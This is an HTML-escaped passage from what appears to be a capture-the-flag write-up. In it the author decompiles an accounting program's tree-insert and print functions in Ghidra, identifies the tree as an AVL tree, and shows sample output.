      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;item_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;cm&quot;&gt;/* variable got repurposed here as an int, since they have the same size */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;left_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left_height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		   &lt;span class=&quot;cm&quot;&gt;/* The register from max_child_height was reused here, so while I wish I could have
		    * been able to rename this to something more appropriate like &quot;height_diff&quot;,
		    * I am stuck with this. If anyone knows of a way to rename this in Ghidra
		    * please do let me know in the comments! */&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getBalance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_child_height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;leftRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;child_node_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rightRotate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The tree is being sorted by price. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getBalance&lt;/code&gt; returns the difference in height between the left and right child. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;leftRotate&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rightRotate&lt;/code&gt; was a bit involved and I did not bother reversing them, as it is probably what it says it does.&lt;/p&gt;

&lt;p&gt;While doing so, I also reversed the structure of the node, with the offsets and datatypes given below:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/writeups/accounting_accident_node_struct.png&quot; alt=&quot;Reversed node struct&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The fields are as we would expect.&lt;/p&gt;

&lt;h3 id=&quot;possibly-an-avl-tree&quot;&gt;Possibly an AVL tree?&lt;/h3&gt;
&lt;p&gt;If we look at the code, we see that a rotation (either left or right) is done when the absolute difference between the heights of the subtrees exceeds 1. This brings back memories from our intro CS class, which introduced the AVL tree that has the property that the “heights of the two child subtrees of any node differ by at most one; if at any time they differ by more than one, rebalancing is done to restore this property”. So we are most likely looking at an AVL tree!&lt;/p&gt;

&lt;p&gt;Let’s confirm our suspicions, and see the output of the program when we insert nodes of a particular value. Before we do that, let’s reverse &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print_edges&lt;/code&gt; so we know what exactly is being printed:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print_edges&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;===Nook(TM) Accounting Very Large Software V 10.49185.2a===&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-=Left=-&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;-=Right=-&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s: %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;price&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;============================================&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;left&lt;/code&gt; section just keeps traversing down and printing the left children, while the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;right&lt;/code&gt; section does the opposite. Cool!&lt;/p&gt;

&lt;p&gt;Initially, the program inserts nodes with prices [10, 20, 30, 40, 50, 25] into the tree. Let’s run the program again, and use inputs [1, 2, 3, 4] for the prices, which are inserted after.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Nook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Accounting&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Very&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Large&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Software&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;V&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49185&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Left&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=-&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Raymond&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Hush&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;$$&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Shrub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Trimming&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Right&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=-&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Tom&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Nook&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Shirts&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;
